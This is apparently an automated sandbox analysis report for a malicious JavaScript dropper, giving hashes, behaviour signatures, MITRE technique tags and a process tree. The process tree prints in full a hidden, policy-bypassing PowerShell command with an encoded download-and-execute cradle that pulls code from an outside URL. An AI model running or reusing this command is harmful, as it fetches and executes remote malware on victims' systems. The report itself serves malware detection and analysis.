0f1d3fc163f73faa8c0331342efd9aac2d23810303bd3ab03cf4efebf2d0c316

General

Target
2021APT-28_65346453.js
Size 65KB
Sample210729-mnvbt4h9cs
SHA256 8e95384a1401fc017d82fc28b86738ada9b8179739be8e6ab557275ce698e3c2
MD5 64e4f991856c8caf85a07dcc470abf2a
SHA1 5fd7550f4086b1e316e7e2dc613c653644b26ed0
SHA512 4e48d899855a47ab401f729970b2b14a25c8e038e5ba64422f0e4e8393a581be494e9c74fdcd6693633620ad37cbb9e0ae1c601cc570d072fee38f810ec5dbdf
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	3508	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3940	3508	WerFault.exe	78

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3508	powershell.exe
3508	powershell.exe
3508	powershell.exe
3940	WerFault.exe
3940	WerFault.exe
3940	WerFault.exe
3940	WerFault.exe
3940	WerFault.exe
3940	WerFault.exe
3940	WerFault.exe
3940	WerFault.exe
3940	WerFault.exe
3940	WerFault.exe
3940	WerFault.exe
3940	WerFault.exe
3940	WerFault.exe
3940	WerFault.exe
3940	WerFault.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3508	powershell.exe
Token: SeDebugPrivilege	3940	WerFault.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3200 wrote to memory of 2388	3200	wscript.exe	75
PID 3200 wrote to memory of 2388	3200	wscript.exe	75
PID 2388 wrote to memory of 3508	2388	cmd.exe	78
PID 2388 wrote to memory of 3508	2388	cmd.exe	78

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2021APT-28_65346453.js
1⤵
- Suspicious use of WriteProcessMemory
PID:3200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2388
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3508
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3508 -s 2300
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3940

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3508-122-0x0000014F244F0000-0x0000014F244F1000-memory.dmp

Download

memory/3508-127-0x0000014F3CAE0000-0x0000014F3CAE1000-memory.dmp

Download

memory/3508-132-0x0000014F242E0000-0x0000014F242E2000-memory.dmp

Download

memory/3508-133-0x0000014F242E3000-0x0000014F242E5000-memory.dmp

Download

memory/3508-134-0x0000014F242E6000-0x0000014F242E8000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads